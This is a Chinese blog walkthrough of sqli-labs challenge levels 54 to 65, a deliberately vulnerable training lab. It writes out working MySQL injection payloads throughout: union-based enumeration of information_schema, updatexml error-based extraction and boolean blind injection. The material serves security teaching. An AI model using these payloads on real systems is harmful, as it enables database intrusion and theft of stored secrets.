当前位置: 首页 > article >正文

sqli-labs靶场实录(四): Challenges

sqli-labs靶场实录: Challenges

  • Less54
    • 确定字段数
    • 获取数据库名
    • 获取表名
    • 获取列名
    • 提取密钥值
  • Less55
  • Less56
  • Less57
  • Less58
    • 爆库构造
    • 爆表构造
    • 爆列构造
    • 密钥提取构造
  • Less59
  • Less60
  • Less61
  • Less62
    • 爆库构造
  • Less63
  • Less64
  • Less65
    • 免责声明:

Less54

本关开始上难度了
可以看到此关仅允许10次有效查询
超过后数据库表名、列名及密钥会随机重置在这里插入图片描述

故需快速精准完成注入,找到对应key,避免浪费机会
看了看源码
发现是基础的单引号闭合
故尝试联合注入

确定字段数

?id=1' ORDER BY 3--+

页面回显正常
字段为3
在这里插入图片描述

获取数据库名

构造?id=-1' UNION SELECT 1,2,database()--+
爆出库名为Challenges
在这里插入图片描述

获取表名

?id=-1' UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='challenges'--+

这里注意每个人的表名都是随机生成的
我的如下GY9BMPY2HM
在这里插入图片描述

获取列名

列名同理随机secret_XXXX

?id=-1' UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema='challenges' AND table_name='GY9BMPY2HM'--+

在这里插入图片描述

提取密钥值

?id=-1' UNION SELECT 1,2,secret_X3SE FROM GY9BMPY2HM--+

X3SE为随机列名,GY9BMPY2HM为随机表名
得到密钥如下
在这里插入图片描述
登录成功
在这里插入图片描述

Less55

本关卡和上一关的区别在于闭合不一致
其采用的是)闭合
故确定字段数构造?id=1) ORDER BY 3--+

在这里插入图片描述
爆库构造?id=-1) UNION SELECT 1,2,database()--+

在这里插入图片描述
爆表构造?id=-1) UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='challenges'--+
在这里插入图片描述
爆列?id=-1) UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema='challenges' AND table_name='你的表名'--+
在这里插入图片描述

提取数据构造?id=-1) UNION SELECT 1,2,你的列名FROM 你的表名--+
在这里插入图片描述
使用密钥成功登录
在这里插入图片描述

Less56

本关卡和上一关的区别在于闭合不一致
其采用的是')闭合
故确定字段数构造?id=1') ORDER BY 3--+
在这里插入图片描述
爆库构造?id=-1') UNION SELECT 1,2,database()--+

在这里插入图片描述
爆表构造?id=-1') UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='challenges'--+
在这里插入图片描述
爆列?id=-1') UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema='challenges' AND table_name='你的表名'--+
在这里插入图片描述
提取数据构造?id=-1') UNION SELECT 1,2,你的列名FROM 你的表名--+

在这里插入图片描述

使用密钥成功登录
在这里插入图片描述

Less57

本关卡和上一关的区别在于闭合不一致
其采用的是双引号"闭合
故确定字段数构造?id=1" ORDER BY 3--+在这里插入图片描述

爆库构造?id=-1" UNION SELECT 1,2,database()--+在这里插入图片描述

爆表构造?id=-1" UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='challenges'--+在这里插入图片描述

爆列?id=-1" UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema='challenges' AND table_name='你的表名'--+在这里插入图片描述

提取数据构造?id=-1" UNION SELECT 1,2,你的列名 FROM 你的表名--+在这里插入图片描述

使用密钥成功登录
在这里插入图片描述

Less58

本关卡只有5次测试机会
故需要谨慎应对
在这里插入图片描述
经过几次摸索测试
发现页面不会返回数据库查询结果
故联合注入无法使用
改用报错注入

爆库构造

?id=1' and updatexml(1,concat(1,database()),1)--+

在这里插入图片描述

爆表构造

?id=1' AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), 0x7e), 1)--+

在这里插入图片描述

爆列构造

?id=1' AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='你的表名'), 0x7e), 1)--+

在这里插入图片描述

密钥提取构造

?id=1' AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(你的列名) FROM 你的表名), 0x7e), 1)--+

在这里插入图片描述
密钥登录成功
在这里插入图片描述

Less59

这一关和上一关区别在于其不需要单引号 闭合
故爆库构造?id=1 and updatexml(1,concat(1,database()),1)--+在这里插入图片描述

爆表构造?id=1 AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), 0x7e), 1)--+在这里插入图片描述

爆列构造?id=1 AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='你的表名'), 0x7e), 1)--+在这里插入图片描述

密钥提取构造?id=1 AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(你的列名) FROM 你的表名), 0x7e), 1)--+
在这里插入图片描述
密钥登录成功
在这里插入图片描述

Less60

本关和上一关区别在于本关采用的是")闭合
故爆库构造?id=1") and updatexml(1,concat(1,database()),1)--+在这里插入图片描述

爆表构造?id=1") AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), 0x7e), 1)--+在这里插入图片描述

爆列构造?id=1") AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='你的表名'), 0x7e), 1)--+在这里插入图片描述

密钥提取构造?id=1") AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(你的列名) FROM 你的表名), 0x7e), 1)--+在这里插入图片描述

Less61

本关和前关区别在于本关使用的是'))闭合
故爆库构造?id=1')) and updatexml(1,concat(1,database()),1)--+在这里插入图片描述

爆表构造?id=1')) AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), 0x7e), 1)--+在这里插入图片描述

爆列构造?id=1')) AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='你的表名'), 0x7e), 1)--+在这里插入图片描述

密钥提取构造?id=1')) AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(你的列名) FROM 你的表名), 0x7e), 1)--+

在这里插入图片描述

Less62

本关经测试不会回显报错信息
故报错注入也用不了了
故只能采用盲注
这里采用布尔盲注做例

爆库构造

?id=1') and ascii(substr(database(),1,1))>98--+

在这里插入图片描述

?id=1') and ascii(substr(database(),1,1))>99--+

在这里插入图片描述

这里能判断首字母98<Ascii码<=99
故得到首字母为c
以此类推得到数据库名challenges
表名测试参考?id=1') and ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1))>100--+
列名测试参考?id=1') and ascii(substr((select column_name from information_schema.columns where table_schema='challenges' and table_name='users' limit 0,1),1,1))>104--+
数据测试参考?id=1') and ascii(substr((select column_name from information_schema.columns where table_schema='challenges' and table_name='users' limit 0,1),1,1))>105--+

Less63

这一关为单引号'闭合
62关的payload修改一下即可使用

Less64

这一关为))闭合
62关的payload修改一下即可使用

Less65

这一关为")闭合
62关的payload修改一下即可使用

免责声明:

本文章内容仅为个人见解与实践记录,旨在分享网络安全知识。文中观点、工具、技巧等,均不构成专业建议。读者需自行判断其适用性,并对任何因采纳本文章内容而引发的行为及结果承担全部责任。作者不对任何形式的损失负责。请务必谨慎操作,必要时咨询专业人士。


http://www.kler.cn/a/552655.html

相关文章:

  • python烟花程序代码2.0
  • 数据结构_前言
  • 第25周JavaSpringboot实战-电商项目 2.数据库准备和项目初始化
  • 深入解析 Spring Boot 自动配置机制
  • 【ENSP】链路聚合的两种模式
  • 以太网详解(八)传输层协议:TCP/UDP 协议
  • 产品经理学习——AI Agent 智能化
  • Python 函数式编程全攻略:从理论到实战的深度解析
  • React中如何处理高阶组件中的错误
  • docker 部署JAR
  • MySQL之不相关子查询
  • axios post请求 接收sse[eventsource]数据的
  • 力扣高频sql 50题(基础版) :NULL, 表连接,子查询,case when和avg的结合
  • Flutter 状态管理库-----GetX(一)
  • 微机控制电液伺服汽车减震器动态试验
  • 淘宝拍立淘按图搜索商品API接口概述及JSON数据示例返回
  • 【核心算法篇七】《DeepSeek异常检测:孤立森林与AutoEncoder对比》
  • 基于SpringBoot畅购行汽车购票系统
  • Qt——连接MySQL数据库之编译数据库驱动的方法详细总结(各版本大同小异,看这一篇就够了)
  • Ubuntu设置docker代理报网络错误